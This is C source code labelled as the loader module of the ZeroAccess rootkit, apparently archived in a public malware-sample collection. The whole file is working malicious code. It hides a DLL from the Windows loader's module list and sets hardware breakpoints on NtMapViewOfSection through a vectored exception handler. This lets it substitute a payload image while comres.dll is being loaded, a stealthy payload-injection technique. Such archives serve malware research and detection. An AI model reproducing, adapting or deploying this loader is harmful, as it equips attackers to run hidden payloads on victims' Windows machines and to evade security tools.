353 lines · 9.2 KB · C
RawDownload
/*  name      ZeroAccess  type      rootkit  cve       —  year      unknown  os        Windows  authors   unknown  source    RamadhanAmizudin/malware  archived  RamadhanAmizudin, krisyotam (2026)  notes     — *//*********************************************************************************  (C) COPYRIGHT AUTHORS, 2016**  TITLE:       LDR.C**  VERSION:     1.00**  DATE:        15 Jan 2016**  ZeroAccess loader routines.** THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A* PARTICULAR PURPOSE.********************************************************************************/ #include "global.h" TEB_ACTIVE_FRAME_CONTEXT g_fctx = { 0, "_" };PVOID g_pNtMapViewOfSection = NULL; typedef struct _ZA_THREAD_CTX {	TEB_ACTIVE_FRAME Frame;	IMAGE_NT_HEADERS *fHeader;	ULONG_PTR ReturnAddress; 	ULONG_PTR PayloadImageBase;	ULONG_PTR ViewBase;} ZA_THREAD_CTX, *PZA_THREAD_CTX; /** SfLdrQueryResourceDataEx** Purpose:** Manually parse resource directory and load resource by given id.**/PBYTE SfLdrQueryResourceDataEx(	_In_ PVOID ImageBase,	_In_ CONST LDR_RESOURCE_INFO* ResourceIdPath,	_Out_ ULONG *DataSize	){	BOOL                             cond = FALSE, bFound = FALSE;	IMAGE_RESOURCE_DIRECTORY        *ResRoot, *ResDir;	IMAGE_RESOURCE_DIRECTORY_ENTRY  *ResourceEntry = NULL;	IMAGE_RESOURCE_DATA_ENTRY       *ResData;	WORD                             NumberOfIdEntries;	ULONG                            Size;	PBYTE                            Data;	IMAGE_NT_HEADERS                *NtHeaders; 	if (DataSize) {		*DataSize = 0;	} 	Data = NULL; 	do { 		ResRoot = (PIMAGE_RESOURCE_DIRECTORY)RtlImageDirectoryEntryToData(ImageBase, FALSE, IMAGE_DIRECTORY_ENTRY_RESOURCE, &Size);		if (ResRoot == NULL)			break; 		NumberOfIdEntries = ResRoot->NumberOfIdEntries;		if (NumberOfIdEntries == 0)			break; 		bFound = FALSE;		do {			ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PCHAR)ResRoot + sizeof(IMAGE_RESOURCE_DIRECTORY));			if (ResourceEntry->Id == ResourceIdPath->Type) {				bFound = TRUE;				break;			}			ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PCHAR)ResourceEntry + sizeof(IMAGE_RESOURCE_DIRECTORY));			NumberOfIdEntries--; 		} while (NumberOfIdEntries != 0); 		if (bFound == FALSE)			break; 		if ((ULONG_PTR)ResourceEntry > ((ULONG_PTR)ResRoot + Size))			break; 		if (ResourceEntry->OffsetToData & 0x80000000) {			ResDir = (PIMAGE_RESOURCE_DIRECTORY)((PUCHAR)ResRoot + (ResourceEntry->OffsetToData & 0x7FFFFFFF));			if ((ULONG_PTR)ResDir > ((ULONG_PTR)ResRoot + Size))				break; 			NumberOfIdEntries = ResDir->NumberOfIdEntries;			if (NumberOfIdEntries == 0)				break; 			ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PUCHAR)ResDir + sizeof(IMAGE_RESOURCE_DIRECTORY));			if ((ULONG_PTR)ResourceEntry > ((ULONG_PTR)ResRoot + Size))				break; 			bFound = FALSE; 			do { 				if (ResourceEntry->Name == ResourceIdPath->Name) {					bFound = TRUE;					break;				} 				ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PCHAR)ResourceEntry + sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY));				NumberOfIdEntries--; 			} while (NumberOfIdEntries != 0); 			if (bFound == FALSE)				break; 			if (ResourceEntry->OffsetToData & 0x80000000) {				ResDir = (PIMAGE_RESOURCE_DIRECTORY)((PUCHAR)ResRoot + (ResourceEntry->OffsetToData & 0x7FFFFFFF));				if (ResDir->NumberOfIdEntries == 0)					break;				ResourceEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)((PUCHAR)ResDir + sizeof(IMAGE_RESOURCE_DIRECTORY));			} 			if ((ULONG_PTR)ResourceEntry > ((ULONG_PTR)ResRoot + Size))				break; 			if (ResourceEntry) {				ResData = (PIMAGE_RESOURCE_DATA_ENTRY)((PUCHAR)ResRoot + ResourceEntry->OffsetToData); 				NtHeaders = RtlImageNtHeader(ImageBase);				Data = RtlAddressInSectionTable(NtHeaders, ImageBase, ResData->OffsetToData);				if (DataSize) {					*DataSize = ResData->Size;				}			}		}	} while (cond); 	return Data;} /** SfLdrQueryResourceData** Purpose:** Load resource by given id (win32 FindResource, SizeofResource, LockResource).**/PBYTE SfLdrQueryResourceData(	_In_ ULONG_PTR ResourceId,	_In_ PVOID DllHandle,	_In_ PULONG DataSize	){	NTSTATUS                   status;	ULONG_PTR                  IdPath[3];	IMAGE_RESOURCE_DATA_ENTRY  *DataEntry;	PBYTE                      Data = NULL;	ULONG                      SizeOfData = 0; 	if (DllHandle != NULL) { 		IdPath[0] = (ULONG_PTR)RT_RCDATA; //type		IdPath[1] = ResourceId;           //id		IdPath[2] = 0;                    //lang 		status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);		if (NT_SUCCESS(status)) {			status = LdrAccessResource(DllHandle, DataEntry, &Data, &SizeOfData);			if (NT_SUCCESS(status)) {				if (DataSize) {					*DataSize = SizeOfData;				}			}		}	}	return Data;} //mechanism 8  VOID NTAPI SfLdrEnumModules(	_In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,	_In_ PVOID Context,	_In_ OUT BOOLEAN *StopEnumeration	){	PUNICODE_STRING uDllName = (PUNICODE_STRING)Context; 	if (uDllName) {		if (RtlEqualUnicodeString(&DataTableEntry->BaseDllName, uDllName, TRUE)) {			DataTableEntry->BaseDllName.Length |= 1;			DataTableEntry->BaseDllName.Buffer[1]++;		}	}	else { 		if (DataTableEntry->BaseDllName.Length & 1) {			DataTableEntry->BaseDllName.Length &= ~1;			DataTableEntry->BaseDllName.Buffer[1]--;		}	}	*StopEnumeration = 0;} LONG NTAPI SfLdrVehHandler(	EXCEPTION_POINTERS *ExceptionInfo	){	LPWSTR                DllString;	PZA_THREAD_CTX        ZACtx = NULL;	SIZE_T                *ViewSize; 	if (		(ExceptionInfo->ExceptionRecord->ExceptionCode != STATUS_SINGLE_STEP) ||		(ExceptionInfo->ExceptionRecord->ExceptionAddress != g_pNtMapViewOfSection)		)	{		return EXCEPTION_CONTINUE_SEARCH;	} 	DllString = _filename_w((LPWSTR)NtCurrentTeb()->NtTib.ArbitraryUserPointer);	if (_strcmpi_w(DllString, L"comres.dll") == 0) { 		ZACtx = (PZA_THREAD_CTX)RtlGetFrame();		while ((ZACtx != NULL) && (ZACtx->Frame.Context != &g_fctx)) {			ZACtx = (PZA_THREAD_CTX)ZACtx->Frame.Previous;		} 		if (ZACtx) { #ifdef _WIN64			ZACtx->ReturnAddress = *(ULONG_PTR *)ExceptionInfo->ContextRecord->Rsp;			ZACtx->ViewBase = (ULONG_PTR)ExceptionInfo->ContextRecord->R8; 			ViewSize = (PSIZE_T)*(PSIZE_T)(ExceptionInfo->ContextRecord->Rsp + 0x38);			*ViewSize = ZACtx->fHeader->OptionalHeader.SizeOfImage; 			//*(ULONG_PTR *)ExceptionInfo->ContextRecord->Rsp = (ULONG_PTR)&SfpLdrPostCallHandler;#else			ZACtx->ReturnAddress = *(ULONG_PTR *)ExceptionInfo->ContextRecord->Esp;			ZACtx->ViewBase = *(PULONG_PTR)(ExceptionInfo->ContextRecord->Esp + 0xc); 			ViewSize = (PSIZE_T)*(PSIZE_T)(ExceptionInfo->ContextRecord->Esp + 0x1c);			*ViewSize = ZACtx->fHeader->OptionalHeader.SizeOfImage; 			//*(ULONG_PTR *)ExceptionInfo->ContextRecord->Esp = (ULONG_PTR)&SfpLdrPostCallHandler;#endif		}	} 	if (		(USER_SHARED_DATA->NtMajorVersion < 6) &&		(USER_SHARED_DATA->NtMinorVersion < 2)		)	{		ExceptionInfo->ContextRecord->Dr3 = 0;	}	ExceptionInfo->ContextRecord->EFlags |= 0x10000;	return EXCEPTION_CONTINUE_EXECUTION;} VOID SfLdrLoadPayload(	PVOID PayloadImageBase	){	CONTEXT                  ctx;	NTSTATUS                 status;	PVOID                    ExceptionHandler, DllImageBase = NULL;	DWORD_PTR                ArbitraryUserPointer = 0;	UNICODE_STRING           DllName;#ifdef _DEBUG	ANSI_STRING              str;#endif	ZA_THREAD_CTX            zactx; 	RtlSecureZeroMemory(&zactx, sizeof(zactx));	zactx.Frame.Context = &g_fctx;	zactx.Frame.Flags = 0;	zactx.PayloadImageBase = (ULONG_PTR)PayloadImageBase; 	RtlPushFrame((PTEB_ACTIVE_FRAME)&zactx); 	zactx.fHeader = RtlImageNtHeader(PayloadImageBase);	if (zactx.fHeader) {		ExceptionHandler = RtlAddVectoredExceptionHandler(1, &SfLdrVehHandler);		if (ExceptionHandler) { #ifdef _DEBUG			RtlSecureZeroMemory(&DllName, sizeof(DllName));			RtlInitUnicodeString(&DllName, L"ntdll.dll");			if (NT_SUCCESS(LdrGetDllHandle(NULL, NULL, &DllName, &DllImageBase))) {				RtlInitString(&str, "NtMapViewOfSection");				LdrGetProcedureAddress(DllImageBase, &str, 0, &g_pNtMapViewOfSection);			}#else			g_pNtMapViewOfSection = NtMapViewOfSection;#endif 			RtlSecureZeroMemory(&ctx, sizeof(CONTEXT));			ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;			ctx.Dr3 = (DWORD_PTR)g_pNtMapViewOfSection;			ctx.Dr7 = 0x440; 			if (NT_SUCCESS(NtSetContextThread(NtCurrentThread(), &ctx))) { 				RtlInitUnicodeString(&DllName, L"comres.dll"); 				LdrEnumerateLoadedModules(0, &SfLdrEnumModules, (PVOID)&DllName); //save and zero NtTib.ArbitraryUserPointer#ifdef _WIN64				ArbitraryUserPointer = (DWORD_PTR)__readgsqword(0x28);				__writegsqword(0x28, 0);#else				ArbitraryUserPointer = (DWORD_PTR)__readfsdword(0x14);				__writefsdword(0x14, 0);#endif				status = LdrLoadDll(NULL, NULL, &DllName, &DllImageBase); //restore NtTib.ArbitraryUserPointer#ifdef _WIN64				__writegsqword(0x28, ArbitraryUserPointer);#else				__writefsdword(0x14, ArbitraryUserPointer);#endif				LdrEnumerateLoadedModules(0, &SfLdrEnumModules, NULL); 				ctx.Dr3 = 0;				ctx.Dr7 = 0x400;				NtSetContextThread(NtCurrentThread(), &ctx);			}			RtlRemoveVectoredExceptionHandler(ExceptionHandler);		}	}	RtlPopFrame((PTEB_ACTIVE_FRAME)&zactx);}